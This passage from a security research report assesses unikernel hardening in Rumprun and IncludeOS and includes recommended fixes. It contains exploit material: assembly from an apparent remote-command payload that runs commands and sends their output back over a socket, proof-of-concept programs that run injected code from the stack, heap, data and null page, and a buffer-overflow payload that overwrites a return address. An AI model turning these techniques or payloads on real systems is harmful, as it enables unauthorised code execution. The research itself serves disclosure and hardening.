78 ; the num. of chars wr i t t en to the output buf

79 lea edi , [ rsp+0x1020 ]

80 lea eax , [ rsp+0x20 ]

81 c a l l rax

82

83 ; Send the buf fe r contents back to the server

84 mov ecx ,0 x0 ; f l ags

85 mov edx , rax ; s i z eo f ( buf_send )

86 lea esi , [ rsp+0x1020 ] ; &buf_send

87 mov rdi , r13 ; sockfd

88 c a l l send ; send ( . . . )

89 jmp exec_loop

90

91 socket : ; Copied from _sys_socket

92 push rbx

93 sub rsp ,0 x30

94 mov QWORD [ rsp+0x20 ] ,0 x0

95 lea rcx , [ rsp+0x8 ]

96 mov DWORD [ rsp+0x20 ] , es i

97 lea r s i , [ rsp+0x18 ]

98 mov QWORD [ rsp+0x18 ] ,0 x0

99 mov QWORD [ rsp+0x28 ] ,0 x0

100 mov DWORD [ rsp+0x18 ] , edi

101 mov DWORD [ rsp+0x28 ] , edx

102 mov edi ,0 x18a

103 mov edx ,0 x18

104 c a l l r12

105 mov ebx , eax

106 mov edi , eax

107 ; c a l l 13e50 <rumpuser_seterrno>

108 t e s t ebx , ebx

109 mov eax ,0 x f f f f f f f f

110 cmove eax ,DWORD [ rsp+0x8 ]

111 add rsp ,0 x30

112 pop rbx

113 re t

114

115 bind : ; Copied from _sys_bind

116 push rbx

117 sub rsp ,0 x30

118 mov QWORD [ rsp+0x20 ] , r s i

119 lea rcx , [ rsp+0x8 ]

120 lea r s i , [ rsp+0x18 ]

121 mov QWORD [ rsp+0x18 ] ,0 x0

122 mov QWORD [ rsp+0x28 ] ,0 x0

123 mov DWORD [ rsp+0x18 ] , edi

124 mov DWORD [ rsp+0x28 ] , edx

125 mov edi ,0 x68

126 mov edx ,0 x18

127 c a l l r12 ; rump_syscal l

128 mov ebx , eax

129 mov edi , eax

130 ; c a l l 13e50 <rumpuser_seterrno>

131 t e s t ebx , ebx

132 mov eax ,0 x f f f f f f f f

133 cmove eax ,DWORD [ rsp+0x8 ]

134 add rsp ,0 x30

135 pop rbx
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136 re t

137

138 recv : ; Copied from _sys_recvfrom

139 xor r9d , r9d

140 xor r8d , r8d

141 recvfrom :

142 push rbx

143 mov r11d , ecx

144 mov ebx , edi

145 xor eax , eax

146 mov ecx ,0 x6

147 sub rsp ,0 x40

148 lea r10 , [ rsp+0x10 ]

149 mov rdi , r10

150 ; rep stosq es : [ rd i ] , rax ; unsupported by NASM

151 recvfrom_stos_loop : ; emulate to zero out ca l l a rg s

152 mov QWORD [ rd i ] , rax

153 add edi ,0 x8

154 dec ecx

155 t e s t ecx , ecx

156 j n z recvfrom_stos_loop

157

158 mov QWORD [ rsp+0x18 ] , r s i

159 mov QWORD [ rsp+0x20 ] , rdx

160 mov rcx , rsp

161 mov edx ,0 x30

162 mov r s i , r10

163 mov edi ,0 x1d

164 mov DWORD [ rsp+0x10 ] , ebx

165 mov DWORD [ rsp+0x28 ] , r11d

166 mov QWORD [ rsp+0x30 ] , r8

167 mov QWORD [ rsp+0x38 ] , r9

168 c a l l r12 ; rump_syscal l

169 mov ebx , eax

170 mov edi , eax

171 ; c a l l 13e50 <rumpuser_seterrno>

172 t e s t ebx , ebx

173 mov rax ,0 x f f f f f f f f f f f f f f f f

174 cmove rax ,QWORD [ rsp ]

175 add rsp ,0 x40

176 pop rbx

177 re t

178

179 send : ; Copied from _sys_sendto

180 xor r9d , r9d

181 xor r8d , r8d

182 sendto :

183 push rbx

184 mov r11d , ecx

185 mov ebx , edi

186 xor eax , eax

187 mov ecx ,0 x6

188 sub rsp ,0 x40

189 lea r10 , [ rsp+0x10 ]

190 mov rdi , r10

191 ; rep stosq es : [ rd i ] , rax ; unsupported by NASM

192 sendto_stos_loop : ; emulate to zero out ca l l a rg s

193 mov QWORD [ rd i ] , rax

194 add edi ,0 x8

195 dec ecx

196 t e s t ecx , ecx

197 j n z sendto_stos_loop

198

199 mov QWORD [ rsp+0x18 ] , r s i

200 mov QWORD [ rsp+0x20 ] , rdx

201 mov rcx , rsp

202 mov edx ,0 x30

203 mov r s i , r10

204 mov edi ,0 x85

205 mov DWORD [ rsp+0x10 ] , ebx

206 mov DWORD [ rsp+0x28 ] , r11d

207 mov QWORD [ rsp+0x30 ] , r8

208 mov DWORD [ rsp+0x38 ] , r9d

209 c a l l r12 ; rump_syscal l

210 mov ebx , eax

211 mov edi , eax

212 ; c a l l 13e50 <rumpuser_seterrno>

213 t e s t ebx , ebx

214 mov rax ,0 x f f f f f f f f f f f f f f f f

215 cmove rax ,QWORD [ rsp ]

216 add rsp ,0 x40

217 pop rbx

218 re t

219

220 wr i te : ; Copied from _sys_wr i te

221 push rbx

222 sub rsp ,0 x30

223 mov QWORD [ rsp+0x20 ] , r s i

224 lea rcx , [ rsp+0x8 ]

225 lea r s i , [ rsp+0x18 ]

226 mov QWORD [ rsp+0x18 ] ,0 x0

227 mov QWORD [ rsp+0x28 ] , rdx

228 mov edx ,0 x18

229 mov DWORD [ rsp+0x18 ] , edi

230 mov edi ,0 x4

231 c a l l r12

232 mov ebx , eax

233 mov edi , eax

234 ; c a l l 13e50 <rumpuser_seterrno>

235 t e s t ebx , ebx

236 mov rax ,0 x f f f f f f f f f f f f f f f f

237 cmove rax ,QWORD [ rsp+0x8 ]

238 add rsp ,0 x30

239 pop rbx

240 re t

241

242 connect : ; Copied from _sys_connect

243 push rbx

244 sub rsp ,0 x30

245 mov QWORD [ rsp+0x20 ] , r s i

246 lea rcx , [ rsp+0x8 ]

247 lea r s i , [ rsp+0x18 ]

248 mov QWORD [ rsp+0x18 ] ,0 x0

249 mov QWORD [ rsp+0x28 ] ,0 x0

250 mov DWORD [ rsp+0x18 ] , edi

251 mov DWORD [ rsp+0x28 ] , edx

252 mov edi ,0 x62

253 mov edx ,0 x18

254 c a l l r12

255 mov ebx , eax

256 mov edi , eax

257 ; c a l l 13e50 <rumpuser_seterrno>

258 t e s t ebx , ebx

259 mov eax ,0 x f f f f f f f f

260 cmove eax ,DWORD [ rsp+0x8 ]

261 add rsp ,0 x30

262 pop rbx

263 re t

Listing 39: unikernel-tests/rumprun/exploits/rump-udp-connect.asm

47 | Assessing Unikernel Security NCC Group



5.12 Recommendations

Based on our experimental results, we recommend that Rumprun’s developers take the followingmeasures.

Further explanations of the technical features involved can be found in each issue’s respective section.

• Implement runtime ASLR for the base addresses of .text, .data, the heap, and the stack. Ensure that en-

tropy is sufficient to inhibit attacks, and audit internal interfaces to reduce location leaks. (See Section 5.4.)

• Enforce a W^Xmemory policy across all program memory, i.e. ensure that pages can never be simultane-

ously writable and executable. The null page should be neither. (See Section 5.5.)

• Implement the features necessary for the stack guard value to be copied to thread-local storage. Wewere

unable to determine precisely what component it is whose absence causes the canaries to be null; most

likely, the issue is a result of Rumprun lacking thread support. (See Section 5.6.)

• Make either the first or the second byte of the canary array unconditionally null. Both options provide a

similar level of security, although they result in different tradeoffs, though the second byte is generally

preferable in most situations. (See Section 5.6.)

• Ensure the stack andheapmaynot grow into one another. Place a 1MBguardpagebetween the twomem-

ory regions. To prevent large stack allocations hopping the guard page, the compiler must also support

stack probing, which ensures that each page of a large stack allocation is touched to force potential guard

page faults. With proper compiler support, libc implementations that unconditionally use builtins (e.g.

__builtin_alloca()) to perform stack allocations will use the compiler’s stack probing implementation.

Google’s Bionic is one such implementation. [Gooa] Stack probing may be enabled in GCC with the

-fstack-clash-protection flag. [Proe]

Note: Clang does not currently support the -fstack-clash-protection flag. However, in LLVM, this

feature may be enabled on a per-function basis with the probe-stack attribute, a feature recently added

by Rust’s developers. [Inf, Rus]

• Reimplement the heap allocator using methods guaranteeing unpredictable allocations. Additionally,

ensure that recently freed chunks cannot be easily reused for deterministic allocations. (See Section 5.7.)

• Make the canary the first field in the heap chunk header. At runtime, generate cryptographically secure

heap canaries in a similar manner as the stack canary; do not use constants as secrets. (See Section 5.7.)

• In bmk_pgfree(), move the call to map_free() after the header validation code. In general, validation

should occur before calling any function that modifies the allocator state. (See Section 5.7.)

• Enable the CPU RNG entropy source within src-netbsd and treat the lack of CPU RNG as a hard failure

by default. Consider using IP packet headers in addition to ethernet headers as an entropy source, as

such data would be less predicable by local network attackers; while it is similarly less than ideal, it would

result in variability of entropy pool inputs compared to the ethernet header source. Furthermore, consider

adding explicit support and guidance for using paravirtualized random number generators as a means to

ensure that unikernel instances are provided high quality entropy. (See Section 5.8.)

• Consider replacing theheapallocatorwith aperformant security- hardenedone such asBlink’s PartitionAlloc

or its further hardened fork by Chris Rohlf. [Goob, Roh] (See Section 5.7.)

• Consider using, in part or in whole, Android’s BSD-derived libc, Bionic, which includes some hardening

over the standard libc; it disables the %n format string specifier and supports _FORTIFY_SOURCE. [Gooa]

• Pare down the default bake configuration so that it is as minimal as possible. Encourage developers to

add features as necessary for their specific projects rather than relying on a configuration that includes

everything by default. (See Section 5.10.)
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6 Case Study: IncludeOS

6.1 Introduction to IncludeOS

IncludeOS is aminimal3 unikernel for cloud-based services written in C++with support for a large portion of

the C++11/14 standard library. It supports KVM, VirtualBox, and VMware using x86 hardware virtualization,

and can even run on bare metal, given the right drivers. It is officially developed for and tested on Linux

KVM. [Incc, Ince]

6.2 Security Overview

IncludeOS had virtually none of the security measures we tested for, allowing attackers to achieve arbitrary

code execution in a wide variety of situations. Most major issues stem from a failure to properly and consis-

tently implement good security measures (e.g. ASLR and canaries), while one — an always-null canary value

— appears to stem from an actual bug. A summary of the issues is listed below; each is described in detail

in the following sections.4

• ASLR is not performed. Furthermore, despite a claim by the CEO of IncludeOS that the unikernel features

build-time function layout randomization, this does not appear to be the case at all.

• The stack, the heap, .data and .text are all RWX.

• Stack canaries exist in every function, but are always null due to a bug. In addition, the intended stack

canary is a compiler definewhose value is generated by aCMakemacro, and this value is only regenerated

when the base IncludeOS image is built, not the application. As such, all application images built against

the same base image will have the same canary, which persists across reboots.

• The stack can grow into the page tables, and can overflow into the .text section.

• Heap allocations are completely deterministic and generally sequential. Neither malloc chunks nor page

chunks have canaries, and pointers are not validated before freeing.

In general, most types of memory corruption errors in IncludeOS can be reliably exploited to gain arbitrary

code execution. Doing so is often trivial if the source or binary are known; however, blind exploitation is also

possible due to the severe lack of memory hardening.

6.2.1 A Note on Custom APIs

IncludeOS implements a variety of customAPIs. We did not directly test these, as doing so would have gone

too far outside the scope of the initial phase of our research. However, they are certainly worth mentioning

(and perhaps researching in the future). In particular, given the general lack of security that we uncovered

in IncludeOS and the startling trend of issues in even its basic platform APIs, it is not unreasonable to sus-

pect that its more complicated platform and application-level API implementations may contain numerous

vulnerabilities as well.

IncludeOS has custom implementations for at least the following features. Further investigation will likely

uncover more such custom functionality.

• The entire network stack, including Ethernet, IP, UDP, TCP, etc.

• Socket and file I/O

• An HTTP parser [Incb]

• A web application framework [Incd]

3Generally 2.4–8 MiB for small applications.
4It is worth noting that just around the time we began our unikernel research, Per Buer, the CEO of IncludeOS, posted an article

titled ‘‘Unikernels are secure. Here is why.’’ on unikernel.org (see unikernel.org/blog/2017/unikernels-are-secure). Evaluation of

the claims made therein is left as an exercise to the reader.
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6.3 Testing Details

6.3.1 Software Versions

• IncludeOS unikernels were run with qemu-kvm 2.5.0 on Ubuntu 16.04.2 LTS x86_64.

• We used the latest version of IncludeOS at the time of testing: commit 39c29bb (May 27, 2017).

• IncludeOS and the sample programs were compiled with clang 3.8.0.

6.3.2 Debugging

IncludeOS has extremely poor — virtually nonexistent — debugging support.

• The boot script does not support starting an image indebugmode. Internally, it invokes vmrunner/vmrunner.py,

which starts the image in qemu. In order to make debugging convenient, we added a -d flag to boot that

adds the -S and -s, which respectively indicate ‘‘start paused’’ and ‘‘open port 1234 for gdb debugging.’’

• For reasons we were unable to determine, IncludeOS binaries themselves are only sporadically debug-

gable. In most cases, a binary compiled with debug symbols (i.e. mkdir build && cd build && cmake ..

-Ddebug=ON && make) would inexplicably crash on startup.

We had to resort to compiling binaries both with andwithout debug symbols. We then ran the non-debug

binary, started gdbwith the debug binary as a command line argument, and attached it to the running non-

debug binary.

When using this method, attaching gdb would frequently cause a CRC mismatch! error, halting the sys-

tem. (This refers to a cyclic redundancy check used to validate kernel read-only memory, which gdb was

somehow modifying. See IncludeOS/src/kernel/sanity_checks.cpp:64.)

Even on the rare occasions when this method did work, breakpoints often did not, especially during

the early phases of kernel startup. In these cases, we had to manually insert instructions to serve as

breakpoints, either jmp 0 (an infinite loop) or mov al,0xff; loop: test al,al; jnz loop (which loops

until we manually reset al).

6.3.3 Networking

IncludeOS’s default network configuration (as set up by boot via vmrunner.py) did not work — instances

seemingly had no connection to their host machine or the Internet at large, could not negotiate DHCP, etc.

The boot scripts attempt to set up a bridge interface, bridge43, and then pass the following arguments to

qemu to enable bridged networking.

-device virtio-netdev=user.0

-netdev uuserid=user.0

-device virtio-netdev=net0

-netdev utapid=net0vhost=onscript=/home/smichaels/includeos/includeos/scripts/qemu-ifup

Listing 40: The original qemu network flags inserted by boot

In order to make our IncludeOS images able to access the network, we changed the flags to the following.

-device virtio-netdev=user.0

-netdev uuserid=user.0

Listing 41: Working network flags for qemu running an IncludeOS image

Our modified versions of boot and vmrunner.py can be found in the tests/includeos/modifications direc-

tory of our supplementary repository.
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6.4 ASLR

ASLR is not present in IncludeOS in any form. It should be noted that during the period in which we were

testing, the CEO of IncludeOS specifically claimed that ‘‘[IncludeOS] randomizes addresses at each build,

so even with access to source code you still don’t know the memory layout.’’ [Bue] It appears that he

misunderstood how the linker works, mistaking it for a function layout randomizer.

A sample program performing the following tests yielded exactly the same addresses each time it was run,

including after a clean rebuild (i.e. rm -rf build && mkdir build && cd build && cmake .. && make).

• Text: The addresses of library functions, e.g. printf(), and user-defined functions were printed.

– Functions that were present in multiple sample programs (e.g. builtins such as kvm_pv_eoi and clock_-

gettime, as well as library functions) had addresses that either were identical or that differed only slightly.

The latter case is the result of differences in the size of the code included, not any form of randomization.

• Data: The addresses of static strings were printed.

• Stack: The addresses of stack-allocated variables were printed.

• Heap: The addresses of data allocated via malloc() were printed.

– Heap allocations are also deterministic: assuming the same initial heap state, a given set of successive

allocations will always result in the same series of addresses (see Section 5.7).

Note: In general, application code is linked as almost the first thing in the program code, with only the libc

ctors- and dtors-related functions deterministically placed above it.

The output of our test program also reveals that the order of the above sections is unusual: from low to

high addresses, the stack is first, followed by text, data, and finally the heap. In combination with the lack

of memory protection (see Section 6.5 below), this means that stack buffer overflows can directly overwrite

program code. This is demonstrated in Section 6.10.2.

Note: Overflowing into the currently-executing function will prevent the stack canary from being checked.
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1 #include <service>

2 #include <cstdio>

3 #include <cstdlib>

4

5 int fn1(int x) {

6 return ++x;

7 }

8 long fn2(long x, long y) {

9 return x - y;

10 }

11 char fn3(char x, char y, char z) {

12 return (x ^ y) & z;

13 }

14 static const char* str1 = "hello";

15 static const char* str2 = "world";

16 static const char* str3 = "this is a reference"

17 " implementation of a string";

18

19 void Service::start(const std::string& args) {

20 puts("### .TEXT ###");

21 printf("printf @ %p\n", &printf);

22 printf("fn1 @ %p\n", &fn1);

23 printf("fn2 @ %p\n", &fn2);

24 printf("fn3 @ %p\n\n", &fn3);

25

26 puts("### .DATA ###");

27 printf("str1 @ %p\n", &str1);

28 printf("str2 @ %p\n", &str2);

29 printf("str3 @ %p\n\n", &str3);

30

31 puts("### STACK ###");

32 const char* var1 = "hello";

33 int var2 = 4; void* var3 = (void*)0xFFFF;

34 printf("var1 @ %p\n", &var1);

35 printf("var2 @ %p\n", &var2);

36 printf("var3 @ %p\n\n", &var3);

37

38 puts("### HEAP ###");

39 char* ptr1; int* ptr2; void* ptr3;

40 const static int TEST_ROUNDS = 10;

41 for (int i = 0; i < TEST_ROUNDS; ++i) {

42 printf("Round %d\n", i+1);

43 ptr1 = (char*) malloc(10*sizeof(char));

44 ptr2 = (int*) malloc(sizeof(int));

45 ptr3 = (void*) malloc(32);

46 printf("ptr1 @ %p\n", ptr1);

47 printf("ptr2 @ %p\n", ptr2);

48 printf("ptr3 @ %p\n\n", ptr3);

49 free(ptr1); free(ptr2); free(ptr3);

50 }

51 }

### .TEXT ###

printf @ 0xa70ec0

fn1 @ 0xa00260

fn2 @ 0xa00270

fn3 @ 0xa00280

### .DATA ###

str1 @ 0xc05848

str2 @ 0xc05850

str3 @ 0xc05858

### STACK ###

var1 @ 0x9ffa10

var2 @ 0x9ffa0c

var3 @ 0x9ffa00

### HEAP ###

Round 1

ptr1 @ 0xe34010

ptr2 @ 0xe34150

ptr3 @ 0xe34170

Round 2

ptr1 @ 0xe34010

ptr2 @ 0xe34150

ptr3 @ 0xe34170

/* omitted duplicates */

Round 10

ptr1 @ 0xe34010

ptr2 @ 0xe34150

ptr3 @ 0xe34170

Listing 42: Source and output of unikernel-tests/includeos/src/1-aslr/service.cpp
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6.5 Page Protections

6.5.1 W^X policy

W^X policy is never enforced. All mapped memory is read-write-execute (RWX). The page table initialization

code gives all pages RWXpermissions. Pages are readable by default; each page ismadewritable by setting

the 2nd bit in its page table entry to 1. The 63rd bit (NX or no-execute) is left as 0.

65 mov ebx, 0x0 | 0x3 | 1 << 7 ;; present+write + huge

66 .ptd_loop:

67 mov DWORD [edi], ebx ;; Assign the physical address to lower 32-bits

68 mov DWORD [edi+4], 0x0 ;; Zero out the rest of the 64-bit word

69 add ebx, 1 << 21 ;; 2MB increments

70 add edi, 8

71 loop .ptd_loop

Listing 43: src/arch/x86_64/arch_start.asm (comments are from original source)

After initialization, mprotect is never used. As such, all pages retain RWX permissions.

• While mprotect is implemented, there are no calls to it in the IncludeOS source code itself.

• newlib, which IncludeOS uses as its C standard library implementation, uses mprotect to limit page per-

missions in its thread- and dynamic-linking-related components (see below). However, these are never

used by IncludeOS, which does not support threads or dynamic libraries.

– newlib/libc/sys/linux/dl/dl-load.c:984,1048,1057

– newlib/libc/sys/linux/dl/dl-reloc.c:81,187

– newlib/libc/sys/linux/linuxthreads/manager.c:398,406,513,495,510

6.5.2 Overwriting Program Code

We attempted to memcpy() arbitrary data over library functions and then call them.

This succeeded, indicating that program code is writable.

1 #include <service>

2 #include <cstdio>

3 #include <cstring>

4 void Service::start(const std::string& args) {

5 memcpy((void*)(&printf), "\xeb\xfe", 2);

6 puts("Should hang here..."); // ^ jmp 0

7 printf("zzzzzz");

8 }

Should hang here...

Listing 44: Source and output of unikernel-tests/includeos/src/2-nxwx-1-text/service.cpp

6.5.3 Executing Data

We then attempted to write a jmp 0x0 (infinite loop) instruction into a string within the rodata section and

call it as a function. This succeeded, indicating that rodata is both writable and executable.

1 #include <service>

2 #include <cstdio>

3 #include <cstring>

4 const char* s = "hello world";

5 void Service::start(const std::string& args) {

6 printf("s @ %p\n", s);

7 memcpy((void*)(s), "\xeb\xfe", 2); // jmp 0

8 puts("Should hang here...");

9 ((void(*)())((void*)s))();

10 }

s @ 0xc05548

Should hang here...

Listing 45: Source and output of unikernel-tests/includeos/src/2-nxwx-2-dataA/service.cpp
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Next, wrote a jmp 0x0 (infinite loop) instruction to theC stringpointer variable itself and attempted to execute

it. We declared it as a standard char const* instead of doubly const since the IncludeOS build toolchain

places const pointers in rodata, which we already determined was writable and executable. Non-const

pointers are placed in the data section, so the write is expected to succeed and does. Additionally, the

execution succeeded, indicating that the data section is executable.

1 #include <service>

2 #include <cstdio>

3 #include <cstring>

4 char const* s = "hello world";

5

6 void Service::start(const std::string& args) {

7 printf("s @ %p\n", s);

8 printf("&s @ %p\n", &s);

9 memcpy((void*)(&s), "\xeb\xfe", 2); // jmp 0

10 puts("Should hang here...");

11 ((void(*)()) ((void*)&s))();

12 }

s @ 0xbc0700

&s @ 0xc037c8

Should hang here...

Listing 46: Source and output of unikernel-tests/includeos/src/2-nxwx-2-dataB/service.cpp

6.5.4 Executing Stack Data

We wrote a jmp 0x0 (infinite loop) instruction to a stack-allocated buffer and called it as a function.

This succeeded, indicating that the stack is executable.

1 #include <service>

2 #include <cstdio>

3 #include <cstring>

4

5 void Service::start(const std::string& args) {

6 char data[1024] = {0};

7 memcpy(&data, "\xeb\xfe", 2); // jmp 0

8 void (*fn)() = (void(*)()) &data;

9 printf("fn @ %p\nShould hang here...\n", fn);

10 fn();

11 }

fn @ 0x9ff630

Should hang here...

Listing 47: Source and output of unikernel-tests/includeos/src/2-nxwx-3-stack/service.cpp

6.5.5 Executing Heap Data

We wrote a jmp 0x0 (infinite loop) instruction to a heap-allocated buffer and called it as a function.

This succeeded, indicating that the heap is executable.

1 #include <service>

2 #include <cstdio>

3 #include <cstdlib>

4

5 void Service::start(const std::string& args) {

6 void* data = malloc(1024*sizeof(char));

7 memcpy(data, "\xeb\xfe", 2); // jmp 0

8 void (*fn)() = (void(*)()) data;

9 printf("fn @ %p\nShould hang here...\n", fn);

10 fn();

11 }

fn @ 0xe87ed0

Should hang here...

Listing 48: Source and output of unikernel-tests/includeos/src/2-nxwx-4-heap/service.cpp
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6.5.6 Internal Data Hardening

IncludeOS does not support dynamic linking, and does not have a syscall table. However, IncludeOS’s API

makes frequent use of callbacks that are typically implemented via the delegate class, a small wrapper

around function pointers.5 Of particular note is the panic handler (see src/kernel/syscalls.cpp:111), a

callback that can be set by the application and which is called when the OS panics due to protection fault,

page fault, etc. The panic handler is often the most straightforward way to gain code execution, as it can be

invoked from anywhere simply by inducing the application to perform an invalid operation, such as writing

to an unmapped page. (See Section 6.7 for a proof-of-concept.)

Being primarily C++-based, IncludeOS uses virtual inheritance and therefore virtual tables (vtables), which

could be hijacked to gain code execution. Such exploitation falls outside the scope of this assessment, as

it is not specific to IncludeOS; however, it is worth noting that IncludeOS implements file descriptors using

virtual member functions.

6.5.7 Guard Pages

As all memory is RWX, there guard pages do not exist betweenmemory sections. Additionally, neither newlib

nor clang support stack probing.

Section 6.7.3 and Section 6.10.2 present proof-of-concept exploits that take advantage of the lack of guard

pages; they perform stack overgrowth into the page table, and a stack-based buffer overflow into program

instructions within the text section, respectively.

6.5.8 Null Page

We allocated an excessively-large buffer via malloc(), wrote a jmp 0x0 (infinite loop) instruction to it, and

then called it as a function. Because the size requested exceeded the memory allocated by the hypervisor,

malloc() returned NULL, resulting in the operations being performed on the null page. Both the write and

the call succeeded, indicating that the null page is both writable and executable.

1 #include <service>

2 #include <cstdio>

3 #include <cstdlib>

4

5 void Service::start(const std::string& args) {

6 void* buf = malloc(9999999999999999999);

7 printf("buf @ %p\n", buf);

8 memcpy(buf, "\xeb\xfe", 2);

9 puts("Should hang here...");

10 ((void(*)())buf)();

11 puts("Shouldn't print.");

12 }

buf @ 0x0

should hang here...

Listing 49: Source and output of unikernel-tests/includeos/src/2-nxwx-5-null/service.cpp

6.6 Stack Canaries

The IncludeOS kernel makefiles, as well as the CMake files that must be sourced when building IncludeOS

applications, both set clang’s -fstack-protector-strong flag, guaranteeing that stack canarieswill bepresent

in every function. However, several major issues exist that vastly reduce the effective security of the canaries.

The 8-byte canary value is a preprocessor define generated by CMake in the core kernel CMakeLists.txt.

5Seeing as this class essentially reimplements std::function, it is unknown why the IncludeOS developers chose not to use the

std::function STL class. They even go so far as to set its default alignment with std::alignment_of<std::function<T>>.
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This invites two problems. Firstly, CMake’s STRING(RANDOM ...) function is not cryptographically secure.

[Proa] Secondly, any applications built against the same kernel build will all have the same canary value, and

that value will persist across reboots.

Furthermore, the canary value is never placed in thread-local storage, from which it is to be retrieved later

by the canary-related code at the start and end of each protected function. As such, stack canaries are always

null in practice. This makes successful stack overflow exploits impossible only in certain limited cases — one

cannot succeed with only a single overflow in a function that stops writing at the first null byte. However,

any overflow bug that allows an attacker to write at least 8 null bytes before return is called will render the

application reliably exploitable.

6.6.1 The Stack Canary

In our sample program on the next page, the canary-related instructions inserted by clang were as follows.

<Service::start>:

push rbp ; The frame pointer is pushed onto the stack

mov rbp,rsp

sub rsp,0x30

mov rax,QWORD PTR fs:0x28 ; The stack canary is retrieved from [fs+0x28] and stored before

mov QWORD PTR [rbp-0x8],rax ; the frame ptr, i.e. two words before the return address.

; ...function instructions here...

mov rax,QWORD PTR fs:0x28 ; The canary is checked against [fs+0x28].

cmp rax,QWORD PTR [rbp-0x8]

jne a00315 <Service::start+0x85> ; If they differ, jump below ret...

add rsp,0x30

pop rbp

ret ; Otherwise return normally.

call a06a20 <__stack_chk_fail> ; ...and fail.

Listing 50: Demangled assembly from unikernel-tests/includeos/src/3-stack-2-fail/service.cpp

It can be seen that before the function begins, the canary value is retrieved from thread-local storage via

[fs+0x28] and inserted on the stack just before the frame pointer, which is itself just before the return

address. Before the function returns, the stack value is checked against that in [fs+0x28], and if they differ,

__stack_chk_fail is called, exiting the program with an error. This can be seen in the following example,

which writes a 32-char-long string to a 16-char-long buffer. The program output shows a clean exit, with a

message indicating that the canary was modified.

1 #include <service>

2 #include <cstdio>

3 #include <cstdlib>

4 #include <cstring>

5

6 static char input[] = "01234567012345670123456701234567";

7

8 void Service::start(const std::string& args) {

9 char buffer[16];

10 strcpy(buffer, input);

11 puts(buffer);

12 }

Listing 51: unikernel-tests/includeos/src/3-stack-2-fail/service.cpp
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01234567012345670123456701234567

**** CPU 0 PANIC: ****

Stack protector: Canary modified

Heap is at: 0xe88000 / 0x7fdffff (diff=118849535)

Heap usage: 4 / 116068 Kb

[0] 0x0000000000a00920 + 0x0ea: panic

[1] 0x0000000000a069c0 + 0x00e: __stack_chk_fail

[2] 0x0000000000a00260 + 0x04a: Service::start(std::__1::basic_string<char, std::__1::char_traits<char

>, std::__1::allocator<char> > const&)

[3] 0x0000000000a01140 + 0xa45: OS::start(unsigned int, unsigned int)

[4] 0x0000000000c0c590 + 0x000: 0xc0c590

[ VM_PANIC ] Stack protector: Canary modified

Listing 52: Output from unikernel-tests/includeos/src/3-stack-2-fail/service.cpp

This is expected behavior for canary-protected code. Had the overflow not tripped the canary check, exe-

cution would have jumped to an invalid address and the program would have panicked with a page fault.

The stack canary does not work entirely as expected, however. If we observe execution in gdb, we see that

in fact, the canary is always null. (It is also the case that the fs register had the value 0x0. This suggests

a broader issue with thread local storage, which may be the result of IncludeOS not implementing thread

support.)

Breakpoint 1, 0x0000000000a04134 in Service::start() ()

(gdb) info frame

Stack level 0, frame at 0x9ffa50:

rip = 0xa00285 in Service::start (/home/smichaels/unikernel/unikernel-tests/includeos/src/3-stack-1-

smash/service.cpp:15); saved rip = 0xa01bc5

called by frame at 0x9fffd0

source language c++.

Arglist at 0x9ffa40, args: args=...

Locals at 0x9ffa40, Previous frame's sp is 0x9ffa50

Saved registers:

rbp at 0x9ffa40, rip at 0x9ffa48

(gdb) x/8gx $rsp

0x9ffa10: 0x0000000000000008 0x0000000000000202

0x9ffa20: 0x00000000009ffa38 0x0000000000000010

0x9ffa30: 0x00000000009ffa50 0x0000000000000000

0x9ffa40: 0x00000000009fffc0 0x0000000000a01bc5

Listing 53: gdb showing the stack canary at 0x9ffa38 and return address at 0xc40f48 (pre-overflow)

This allows us to overwrite the return address in certain types of buffer overflow — all the attacker needs is

the ability to write at least 8 null bytes. This is demonstrated in the code below, which uses memcpy() as

an abbreviated way of writing many null bytes. In practice, this kind of vulnerability is likely to be present

when an overflow occurs while reading a file, receiving a packet over the network, or looping over a call to

a null-terminating function such as strcpy().

57 | Assessing Unikernel Security NCC Group



1 #include <cstdio>

2 #include <cstdlib>

3 #include <cstring>

4 #include <service>

5

6 static char input[] = "012345670123456701234567\0\0\0\0\0\0\0\0""01234567\x60\x02\xa0\0\0\0\0\0";

7

8 void shouldnt_print() {

9 puts("The exploit worked!");

10 }

11

12 void Service::start(const std::string& args) {

13 char buffer[16];

14 memcpy(buffer, input, 56);

15 puts(buffer);

16 volatile bool b = false; // prevent optimizing out

17 if (b) {

18 shouldnt_print();

19 }

20 }

Listing 54: unikernel-tests/includeos/src/3-stack-1-smash/service.cpp

012345670123456701234567

The exploit worked!

/* omitted register information */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

Invalid Opcode (6) EIP 0x9fd89c

**** CPU 0 PANIC: ****

Invalid Opcode (6)

Heap is at: 0xe88000 / 0x7fdffff (diff=118849535)

Heap usage: 4 / 116068 Kb

[0] 0x0000000000a00960 + 0x0ea: panic

[1] 0x0000000000af32f0 + 0x074: void cpu_exception<6>(void**, unsigned int)

[2] 0x0000000000000460 + 0x000: 0x460

/* omitted register information */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

General Protection Fault (13) EIP 0x9f9406

Error code: 0x9fb590

**** CPU 0 PANIC: ****

General Protection Fault (13)

Heap is at: 0xe88000 / 0x7fdffff (diff=118849535)

Heap usage: 4 / 116068 Kb

[0] 0x0000000000a00960 + 0x0ea: panic

[1] 0x0000000000af36c0 + 0x088: void cpu_exception<13>(void**, unsigned int)

[ VM_PANIC ] Invalid Opcode (6)
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6.6.2 Generating the canary value

IncludeOS does not generate canaries at runtime; the canary value is sourced from a preprocessor define.

45 // stack-protector guard

46 const uintptr_t __stack_chk_guard = _STACK_GUARD_VALUE_;

Listing 55: src/crt/c_abi.c

The value of this constant is set by cmake at build time, in CMakeLists.txtwithin the IncludeOS root directory.

50 # create random hex string as stack protector canary

51 string(RANDOM LENGTH 8 ALPHABET 0123456789ABCDEF STACK_PROTECTOR_VALUE)

52

53 set(CAPABS "${CAPABS} -mno-red-zone -fstack-protector-strong -D_STACK_GUARD_VALUE_=0x${

STACK_PROTECTOR_VALUE}")

Listing 56: CMakeLists.txt (LENGTH 8 has since been changed to LENGTH 16)

There are several problems with this approach.

• A constant canary generated at build time is fundamentally insecure. Firstly, if an attacker gets access to

the binary, the canary can be immediately known. Secondly, attackers attempting to retrieve or crack the

canary can make an unlimited number of attempts against the system, even if they cause a crash.

• The canary is regenerated only when building the core kernel, not the application. This means that every

application image compiled against the same build of IncludeOS will have the same canary.

• cmake’s STRING(RANDOM ...) function uses srand() internally, providing it with only 4 bytes of entropy

from /dev/urandom. It then uses sixteen return values from rand() indexed into a hex-to-ASCII map to

